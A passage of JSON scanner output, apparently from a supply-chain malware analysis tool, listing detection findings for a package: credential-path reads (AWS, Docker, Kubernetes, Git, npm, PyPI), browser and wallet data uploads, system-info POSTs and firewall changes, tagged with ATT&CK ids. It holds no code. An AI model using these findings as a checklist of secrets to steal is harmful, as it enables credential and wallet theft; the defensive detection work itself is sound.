                "file": 12
              }
            ],
            "uses": [
              433
            ]
          },
          {
            "id": "micro-behaviors/os/package-manager/publish::npm-publish-command-line",
            "conf": 0.9,
            "crit": 3,
            "desc": "Shell or workflow npm publish command",
            "from": [
              {
                "file": 178
              }
            ]
          },
          {
            "id": "micro-behaviors/data/format/crypto-address::eth-address-regex",
            "conf": 0.85,
            "crit": 3,
            "desc": "Ethereum address regex pattern",
            "from": [
              {
                "file": 13
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::npm-token-env-read",
            "conf": 0.95,
            "crit": 3,
            "desc": "Reads NPM_TOKEN from JavaScript env",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/crypto/asymmetric/rsa::node-crypto-public-encrypt",
            "conf": 0.88,
            "crit": 3,
            "desc": "Node.js crypto.publicEncrypt RSA call",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/chmod/executable/mode::node-chmod-exec-mode-text",
            "atk": "T1222",
            "mbc": "E1222",
            "conf": 0.82,
            "crit": 3,
            "desc": "Node chmod with owner-executable octal mode",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::file-content-read-operation",
            "conf": 0.82,
            "crit": 2,
            "desc": "File content read operation",
            "from": [
              {
                "file": 3
              }
            ],
            "uses": [
              68,
              183,
              260,
              341
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::pypirc-credentials-file",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 2,
            "desc": "PyPI credentials file path reference"
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::dotenv-filename-literal",
            "atk": "T1552.001",
            "conf": 0.85,
            "crit": 1,
            "desc": ".env filename literal"
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::os-platform-call",
            "conf": 0.75,
            "crit": 2,
            "desc": "Queries OS platform with os.platform()",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::docker-config-path-components",
            "atk": "T1552.001",
            "conf": 0.92,
            "crit": 3,
            "desc": "Docker config path components",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "well-known/app/browser-extension/metamask::chrome-extension-id",
            "conf": 0.99,
            "crit": 3,
            "desc": "MetaMask Chrome extension ID",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/package/testing/harness/runtime::test-basename-suffix",
            "conf": 1.0,
            "crit": 2,
            "desc": "Node.js test filename suffix",
            "from": [
              {
                "file": 8
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/proc/info/listing::javascript-proc-directory-read",
            "conf": 0.88,
            "crit": 3,
            "desc": "JavaScript reads the /proc directory",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/credential-access/theft/keywords::secret-upper",
            "conf": 0.45,
            "crit": 1,
            "desc": "SECRET credential label",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/exfiltration/stealer/credential/dev-file::npm-token-name-ref",
            "atk": "T1552.001,T1041",
            "mbc": "E1552",
            "conf": 0.88,
            "crit": 1,
            "desc": "Reads npm auth token from environment",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/process/interpreter/python::dunder-import-call",
            "atk": "T1059.006",
            "mbc": "E1059",
            "conf": 0.85,
            "crit": 3,
            "desc": "Python __import__ call"
          },
          {
            "id": "micro-behaviors/data/serialize/object-schema::platform-field-key",
            "conf": 0.86,
            "crit": 1,
            "desc": "JSON-like platform or OS field",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/read/file::file-read-content",
            "atk": "T1005",
            "mbc": "E1005",
            "conf": 0.6,
            "crit": 2,
            "desc": "Reads file content (Python)"
          },
          {
            "id": "micro-behaviors/crypto/asymmetric/key::pem-public-key-header",
            "conf": 0.9,
            "crit": 3,
            "desc": "References PEM public-key header",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::container-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "Container/orchestration credential paths",
            "from": [
              {
                "file": 3
              },
              {
                "off": 32715,
                "file": 12,
                "line": 898
              }
            ],
            "uses": [
              375
            ]
          },
          {
            "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-symbol",
            "conf": 0.82,
            "crit": 3,
            "desc": "urllib.request.Request symbol"
          },
          {
            "id": "well-known/tool/detection/sast::secret-scanner-rule-name-entry",
            "conf": 0.92,
            "crit": 2,
            "desc": "Secret-scanner rule named for a credential kind",
            "from": [
              {
                "file": 13
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::cloud-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "Cloud provider credential file paths",
            "from": [
              {
                "file": 3
              },
              {
                "off": 32542,
                "file": 12,
                "line": 898
              }
            ],
            "uses": [
              247
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-require",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.8,
            "crit": 3,
            "desc": "Imports the Node.js child_process module",
            "from": [
              {
                "file": 3
              }
            ],
            "uses": [
              379,
              446
            ]
          },
          {
            "id": "metadata/package/testing/presence/harness::tests-path-filename",
            "conf": 0.85,
            "crit": 1,
            "desc": "File path or name indicates test code",
            "from": [
              {
                "file": 8
              }
            ]
          },
          {
            "id": "micro-behaviors/process/terminate/command::shell-kill-variable-pid",
            "conf": 0.85,
            "crit": 3,
            "desc": "Shell kills a PID from a variable",
            "from": [
              {
                "file": 177
              }
            ]
          },
          {
            "id": "metadata/package/testing/scripted::coverage-marker-coverage",
            "conf": 1.0,
            "crit": 2,
            "desc": "References code-coverage tooling",
            "from": [
              {
                "file": 18
              }
            ]
          },
          {
            "id": "metadata/package/scripts/build::pkg-build-script-field",
            "conf": 0.6,
            "crit": 3,
            "desc": "Package declares a build script"
          },
          {
            "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen-call-symbol",
            "conf": 0.85,
            "crit": 3,
            "desc": "Calls fully qualified urllib urlopen"
          },
          {
            "id": "micro-behaviors/crypto/symmetric/aes/runtime-library::aes-256-cbc",
            "mbc": "C0027",
            "conf": 0.85,
            "crit": 3,
            "desc": "AES-256-CBC encryption",
            "from": [
              {
                "file": 3
              },
              {
                "file": 12
              }
            ],
            "uses": [
              177
            ]
          },
          {
            "id": "metadata/file/string/cicd::cicd-runtime-fingerprint--rx-11",
            "conf": 0.94,
            "crit": 1,
            "desc": "GitHub Actions environment marker",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-stringify-payload-call",
            "conf": 0.92,
            "crit": 3,
            "desc": "Serializes a payload object as JSON",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/spawn::child-process-creation-api",
            "atk": "T1106",
            "conf": 0.92,
            "crit": 3,
            "desc": "Starts a child process through a platform API",
            "from": [
              {
                "off": 6754,
                "file": 5,
                "line": 172
              },
              {
                "file": 24
              }
            ],
            "uses": [
              189
            ]
          },
          {
            "id": "micro-behaviors/communications/socket/send::node-socket-write",
            "atk": "T1071",
            "mbc": "C0001",
            "conf": 0.86,
            "crit": 3,
            "desc": "Node socket writes a data payload",
            "from": [
              {
                "file": 14
              }
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/hostname::python-socket-gethostname",
            "atk": "T1082",
            "mbc": "E1082",
            "conf": 0.95,
            "crit": 3,
            "desc": "Calls Python socket.gethostname"
          },
          {
            "id": "micro-behaviors/communications/http/request/client::urllib-json-request-body",
            "conf": 0.9,
            "crit": 3,
            "desc": "urllib JSON request with body",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              123,
              409,
              420
            ]
          },
          {
            "id": "micro-behaviors/fs/path/location::hardcoded-home-dir-path",
            "conf": 0.8,
            "crit": 3,
            "desc": "Hardcoded absolute home directory path",
            "from": [
              {
                "file": 4
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::post-method-text",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.94,
            "crit": 3,
            "desc": "Configures an HTTP POST request"
          },
          {
            "id": "micro-behaviors/communications/http/services/registry::npm-dist-tags-read",
            "atk": "T1071.001",
            "conf": 0.85,
            "crit": 3,
            "desc": "Reads npm registry distribution tags",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen-call",
            "conf": 0.82,
            "crit": 3,
            "desc": "Calls Python urllib urlopen",
            "from": [
              {
                "off": 33865,
                "file": 12,
                "line": 919
              }
            ],
            "uses": [
              153,
              352
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-stringify-identifier",
            "conf": 0.85,
            "crit": 3,
            "desc": "Serializes an identifier as JSON",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::git-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "Git credentials file",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/construct::path-join-dirname",
            "conf": 0.5,
            "crit": 2,
            "desc": "path.join with __dirname",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/construct::python-cwd-variable-path-join",
            "conf": 0.9,
            "crit": 3,
            "desc": "Joins current directory with a variable path"
          },
          {
            "id": "micro-behaviors/process/create/spawn::bare-spawn-call",
            "conf": 0.75,
            "crit": 1,
            "desc": "Bare spawn function call",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::js-execsync",
            "conf": 1.0,
            "crit": 3,
            "desc": "Executes shell commands synchronously",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "objectives/execution/autoinstall/package::build-bunx-package",
            "atk": "T1059.007",
            "conf": 0.9,
            "crit": 3,
            "desc": "Build bunx transient package",
            "from": [
              {
                "file": 180
              }
            ]
          },
          {
            "id": "metadata/import/builtin::require-http",
            "conf": 0.75,
            "crit": 3,
            "desc": "Imports the Node.js HTTP module",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::python-environ-alias-items-secret-marker",
            "conf": 0.92,
            "crit": 3,
            "desc": "Aliased env iteration uses secret markers"
          },
          {
            "id": "micro-behaviors/communications/http/url/scheme::cleartext-http-url-code-literal",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.9,
            "crit": 3,
            "desc": "Code embeds cleartext HTTP URL literal",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "objectives/exfiltration/http/upload::node-system-info-source",
            "atk": "T1041",
            "conf": 0.9,
            "crit": 1,
            "desc": "Node system info source",
            "from": [
              {
                "off": 12691,
                "file": 12,
                "line": 356
              }
            ],
            "uses": [
              460
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::docker-config",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "Docker config.json path",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/build/package/recipe::setuptools-run-override",
            "conf": 0.8,
            "crit": 3,
            "desc": "Overrides run() method in install class"
          },
          {
            "id": "micro-behaviors/process/create/spawn::node-interpreter-target",
            "atk": "T1059.007",
            "conf": 0.95,
            "crit": 3,
            "desc": "Spawns the Node.js interpreter",
            "from": [
              {
                "file": 24
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-data-body",
            "conf": 0.9,
            "crit": 3,
            "desc": "urllib Request carries an HTTP body"
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-destructure-require",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Destructures APIs from Node.js child_process",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/process/hook/event::process-on-uncaught-exception",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node process uncaughtException handler",
            "from": [
              {
                "file": 31
              }
            ]
          },
          {
            "id": "metadata/package/scripts/develop::has-dev-workflow",
            "conf": 0.85,
            "crit": 3,
            "desc": "Package has development workflow scripts",
            "from": [
              {
                "off": 525,
                "file": 48,
                "line": 16
              }
            ],
            "uses": [
              84,
              198,
              351
            ]
          },
          {
            "id": "micro-behaviors/communications/http/url/domain::js-leading-dot-dns-suffix",
            "conf": 0.9,
            "crit": 3,
            "desc": "Leading-dot DNS suffix string literal",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/cloud::aws-credentials-text-reference",
            "atk": "T1552.005",
            "mbc": "T1552.005",
            "conf": 0.92,
            "crit": 3,
            "desc": "References an AWS credentials file path",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/db/sql::sql-select",
            "conf": 0.6,
            "crit": 2,
            "desc": "SQL SELECT syntax reference",
            "from": [
              {
                "file": 8
              }
            ]
          },
          {
            "id": "metadata/build/ci/step::actions-setup-node",
            "conf": 0.92,
            "crit": 3,
            "desc": "actions/setup-node workflow step"
          },
          {
            "id": "metadata/file/string/cicd::cicd-runtime-fingerprint--rx-15",
            "conf": 0.94,
            "crit": 1,
            "desc": "GitLab CI environment marker",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/module/load::dynamic-external-import-string-literal",
            "conf": 0.9,
            "crit": 3,
            "desc": "Dynamically imports a non-relative module path"
          },
          {
            "id": "metadata/library/structure::js-medium-minified-line",
            "conf": 0.9,
            "crit": 1,
            "desc": "JavaScript contains a long minified line",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/decode/base64::multiple-node-base64-decodes",
            "conf": 0.8,
            "crit": 3,
            "desc": "Multiple Node.js Base64 decodes",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/chmod/modify::node-chmod-call",
            "conf": 0.85,
            "crit": 3,
            "desc": "Node calls chmod to change permissions",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/mkdir::mkdir-command",
            "conf": 0.8,
            "crit": 3,
            "desc": "Shell invokes mkdir command",
            "from": [
              {
                "file": 176
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/spawn-variable::spawn-variable-program",
            "conf": 0.82,
            "crit": 3,
            "desc": "Node spawns a variable program path",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "micro-behaviors/data/db/sql::sql-keywords",
            "conf": 0.5,
            "crit": 3,
            "desc": "Contains several SQL statement types",
            "from": [
              {
                "file": 8
              }
            ],
            "uses": [
              76,
              312,
              384,
              466
            ]
          },
          {
            "id": "micro-behaviors/communications/http/token-auth::bearer-header-from-variable",
            "conf": 0.94,
            "crit": 3,
            "desc": "Builds Bearer authorization header from variable",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::js-bun-exec",
            "conf": 0.8,
            "crit": 3,
            "desc": "JavaScript Bun process spawn API",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-exec-destructure",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.9,
            "crit": 3,
            "desc": "Destructures exec from Node.js child_process",
            "from": [
              {
                "file": 9
              }
            ]
          },
          {
            "id": "micro-behaviors/process/terminate/command::kill-with-signal-flag",
            "conf": 0.6,
            "crit": 3,
            "desc": "kill command invoked with a signal flag",
            "from": [
              {
                "file": 177
              }
            ]
          },
          {
            "id": "metadata/build/ci/permission::contents-write-permission",
            "conf": 0.92,
            "crit": 3,
            "desc": "GitHub Actions contents write permission"
          },
          {
            "id": "micro-behaviors/communications/ipc/message::node-process-send",
            "conf": 0.95,
            "crit": 3,
            "desc": "Sends message via Node.js process.send",
            "from": [
              {
                "file": 14
              }
            ]
          },
          {
            "id": "micro-behaviors/time/sleep/interval::js-sleep-ms-delay",
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript sleep call with millisecond delay",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/configuration::node-http-request-configured",
            "conf": 0.8,
            "crit": 3,
            "desc": "Node HTTP request has hostname and port",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/download/url::os-package-url-reference",
            "conf": 0.88,
            "crit": 3,
            "desc": "HTTP URL ending in package extension",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "objectives/exfiltration/stealer/credential/browser::js-browser-wallet-upload-exfil",
            "atk": "T1555.003,T1041",
            "mbc": "B0028",
            "conf": 0.96,
            "crit": 5,
            "desc": "Browser or wallet data uploaded over HTTP",
            "from": [
              {
                "file": 3
              },
              {
                "off": 12608,
                "file": 12,
                "line": 352
              }
            ],
            "uses": [
              23,
              204,
              295,
              499
            ]
          },
          {
            "id": "micro-behaviors/fs/chmod/executable/mode::shell-plus-x",
            "atk": "T1222",
            "mbc": "E1222",
            "conf": 0.75,
            "crit": 3,
            "desc": "chmod +x (make executable)",
            "from": [
              {
                "file": 176
              }
            ]
          },
          {
            "id": "objectives/credential-access/files/config::terraform-creds-path-ref",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.92,
            "crit": 3,
            "desc": "References Terraform Cloud credentials file",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-stringify-call",
            "conf": 0.5,
            "crit": 2,
            "desc": "Calls JSON.stringify()",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::username-object-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "Object literal declares a username key",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/supply-chain/recon-exfil/npm-install-targeting::js-sysinfo-https-post-body",
            "conf": 0.9,
            "crit": 4,
            "desc": "Script POSTs collected system info as a JSON body",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              47,
              192,
              361,
              364
            ]
          },
          {
            "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-object",
            "conf": 0.82,
            "crit": 3,
            "desc": "urllib Request object creation",
            "from": [
              {
                "off": 33748,
                "file": 12,
                "line": 918
              }
            ],
            "uses": [
              344
            ]
          },
          {
            "id": "micro-behaviors/data/source/string::emoji-saturated-string-literals",
            "conf": 0.96,
            "crit": 3,
            "desc": "Dense emoji content in source string literals",
            "from": [
              {
                "file": 27
              }
            ]
          },
          {
            "id": "objectives/credential-access/files/config::credential-path-table--rx-8",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.9,
            "crit": 1,
            "desc": "NPM or PyPI credential-file path literal",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/credential-access/cloud/token/cli::docker-config-path-literal",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 1,
            "desc": "Docker credential config path",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/package/testing/presence/fixture::jest-expect-call",
            "conf": 0.6,
            "crit": 2,
            "desc": "expect() function call",
            "from": [
              {
                "file": 8
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/link/symlink::shell-ln-symlink",
            "conf": 0.88,
            "crit": 3,
            "desc": "Shell creates a symbolic link",
            "from": [
              {
                "file": 176
              }
            ]
          },
          {
            "id": "micro-behaviors/data/db/sqlite::bun-sqlite-import",
            "conf": 0.93,
            "crit": 3,
            "desc": "Bun SQLite import",
            "from": [
              {
                "file": 37
              }
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-portuguese--atom-2",
            "conf": 0.8,
            "crit": 1,
            "desc": "Portuguese function-word token \"são\"",
            "from": [
              {
                "file": 78
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/url/host::url-host-property-assignment",
            "conf": 0.82,
            "crit": 3,
            "desc": "Assigns a request or URL host property",
            "from": [
              {
                "file": 31
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::multi-ci-provider-env-refs",
            "conf": 0.92,
            "crit": 3,
            "desc": "Multiple CI provider environment references",
            "from": [
              {
                "file": 3
              },
              {
                "off": 15037,
                "file": 12,
                "line": 420
              }
            ],
            "uses": [
              29,
              182,
              273,
              497
            ]
          },
          {
            "id": "micro-behaviors/data/llm::agent-identity-set",
            "conf": 0.9,
            "crit": 3,
            "desc": "References multiple AI assistant products",
            "from": [
              {
                "file": 76
              },
              {
                "file": 78
              },
              {
                "file": 111
              },
              {
                "file": 118
              },
              {
                "file": 119
              },
              {
                "file": 130
              },
              {
                "file": 134
              },
              {
                "file": 138
              }
            ],
            "uses": [
              187,
              196,
              217
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-dumps-call",
            "conf": 0.9,
            "crit": 2,
            "desc": "Serializes data with Python json.dumps()"
          },
          {
            "id": "micro-behaviors/data/encode/payload::large-encoded-blob-literal",
            "conf": 0.8,
            "crit": 3,
            "desc": "Large encoded data blob literal",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/firewall/netsh::netsh-advfirewall-rule-allow",
            "atk": "T1562.004",
            "conf": 0.92,
            "crit": 3,
            "desc": "Adds Windows firewall allow rule",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/application/config::id-json-filename-literal",
            "conf": 0.8,
            "crit": 1,
            "desc": "References generic ID JSON filename",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/data/llm::affirmative-require-human-approval",
            "conf": 0.9,
            "crit": 3,
            "desc": "Require human approval guideline",
            "from": [
              {
                "file": 97
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/access::node-process-env-object-field",
            "conf": 0.9,
            "crit": 3,
            "desc": "Places full Node environment in object field",
            "from": [
              {
                "file": 24
              }
            ]
          },
          {
            "id": "micro-behaviors/process/interpreter/python::dunder-import-string-call",
            "atk": "T1059.006",
            "mbc": "E1059",
            "conf": 0.9,
            "crit": 3,
            "desc": "Python imports named module dynamically"
          },
          {
            "id": "micro-behaviors/process/io/stream::node-stdout-reference",
            "conf": 0.8,
            "crit": 3,
            "desc": "References Node.js stdout stream",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/chmod/modify::node-chmod",
            "atk": "T1222",
            "mbc": "E1222",
            "conf": 0.7,
            "crit": 3,
            "desc": "Node.js chmod call",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "metadata/package/testing/harness/runtime::is-test",
            "conf": 0.9,
            "crit": 2,
            "desc": "Test, spec, or fixture file",
            "from": [
              {
                "file": 8
              },
              {
                "file": 28
              },
              {
                "file": 29
              },
              {
                "file": 34
              },
              {
                "file": 37
              },
              {
                "file": 40
              },
              {
                "file": 41
              },
              {
                "file": 46
              }
            ],
            "uses": [
              234,
              500
            ]
          },
          {
            "id": "metadata/import/builtin::require-fs",
            "conf": 0.7,
            "crit": 2,
            "desc": "Imports the Node.js fs module",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/build/pip::packaging-setuptools-imported-setup-call",
            "conf": 0.95,
            "crit": 3,
            "desc": "Imported setuptools setup call"
          },
          {
            "id": "micro-behaviors/fs/path/application/executable::wallet-ledger-live-process",
            "conf": 0.85,
            "crit": 3,
            "desc": "Ledger Live desktop wallet process name",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/browser::login-data",
            "atk": "T1555.003",
            "mbc": "T1555.003",
            "conf": 0.8,
            "crit": 3,
            "desc": "Chromium Login Data filename reference",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/proc/container::runtime-engine-keywords--docker",
            "conf": 0.86,
            "crit": 1,
            "desc": "References the Docker container engine"
          },
          {
            "id": "micro-behaviors/os/module/load::node-lazy-exec-builtin-import",
            "atk": "T1027",
            "conf": 0.9,
            "crit": 3,
            "desc": "Defers loading a Node execution builtin",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::node-write-file-sync",
            "conf": 1.0,
            "crit": 3,
            "desc": "Node synchronously writes a file",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/configuration::request-timeout-destroys-request",
            "conf": 0.85,
            "crit": 3,
            "desc": "Request timeout handler destroys the request",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/db/sqlite::bun-sqlite-database-open",
            "conf": 0.9,
            "crit": 3,
            "desc": "Bun SQLite database open",
            "from": [
              {
                "file": 37
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/proc/info/path::process-var-environ",
            "conf": 0.94,
            "crit": 3,
            "desc": "Reads variable-PID environment via procfs",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::node-os-platform-alias-branch",
            "conf": 0.82,
            "crit": 3,
            "desc": "Node OS alias platform branch",
            "from": [
              {
                "file": 3
              },
              {
                "file": 5
              },
              {
                "file": 12
              },
              {
                "off": 3127,
                "file": 14,
                "line": 94
              },
              {
                "off": 3317,
                "file": 31,
                "line": 102
              },
              {
                "off": 1037,
                "file": 32,
                "line": 32
              },
              {
                "off": 51960,
                "file": 37,
                "line": 1391
              },
              {
                "file": 38
              }
            ],
            "uses": [
              40,
              150,
              237,
              257
            ]
          },
          {
            "id": "micro-behaviors/process/user/query::os-homedir-call",
            "atk": "T1033",
            "conf": 0.7,
            "crit": 3,
            "desc": "os.homedir() user home directory",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/build::bun-install-command",
            "atk": "T1059",
            "conf": 0.82,
            "crit": 3,
            "desc": "Bun package install command",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/webhook::webhook-post-method-field",
            "conf": 0.9,
            "crit": 3,
            "desc": "Webhook specifies HTTP POST",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/build::npm-install-command",
            "atk": "T1059",
            "conf": 0.82,
            "crit": 3,
            "desc": "npm package install command",
            "from": [
              {
                "file": 177
              }
            ]
          },
          {
            "id": "objectives/command-and-control/dropper/node-download-execute::node-helper-wrapped-https-name",
            "conf": 1.0,
            "crit": 1,
            "desc": "Helper resolves Node HTTPS module",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/import/builtin::require-child-process",
            "conf": 0.8,
            "crit": 3,
            "desc": "require() of the child_process module",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/module/load::dynamic-import-string-literal",
            "conf": 0.8,
            "crit": 3,
            "desc": "Dynamically imports a literal module path"
          },
          {
            "id": "micro-behaviors/communications/http/post::request-write-payload-variable",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.84,
            "crit": 3,
            "desc": "HTTP request sends payload variable",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/ui/terminal::ansi-erase-op",
            "conf": 0.86,
            "crit": 3,
            "desc": "ANSI erase-line/erase-screen sequence",
            "from": [
              {
                "file": 17
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::kube-config-path-components",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 3,
            "desc": "Kubernetes config path components",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/build/package/recipe::setup-cmdclass-install",
            "conf": 0.9,
            "crit": 3,
            "desc": "setup() defines custom install command"
          },
          {
            "id": "objectives/credential-access/files/config::credential-path-table--rx-9",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.9,
            "crit": 1,
            "desc": "Git credential-file path literal",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/package-manager/install::build-npm-install",
            "conf": 0.9,
            "crit": 3,
            "desc": "Build installs local npm dependencies",
            "from": [
              {
                "file": 179
              }
            ]
          },
          {
            "id": "micro-behaviors/process/user/query::node-os-alias-userinfo-call",
            "atk": "T1033",
            "conf": 0.8,
            "crit": 3,
            "desc": "Node os-alias user identity query",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/ui/help::script-usage-screen",
            "conf": 0.9,
            "crit": 3,
            "desc": "Script prints a CLI usage screen",
            "from": [
              {
                "file": 31
              }
            ]
          },
          {
            "id": "metadata/encoded-payload/base64",
            "conf": 0.9,
            "crit": 3,
            "desc": "Encoded content decoded: base64"
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::shell-history-file-path",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 3,
            "desc": "References a shell history file path",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/mkdir::recursive-mkdir-sync",
            "conf": 0.9,
            "crit": 3,
            "desc": "Creates a directory tree synchronously",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/header/custom::non-mozilla-user-agent-header",
            "conf": 0.9,
            "crit": 3,
            "desc": "Sets a non-Mozilla User-Agent header",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/discovery/system/fingerprint/hardware::node-data-aggregation",
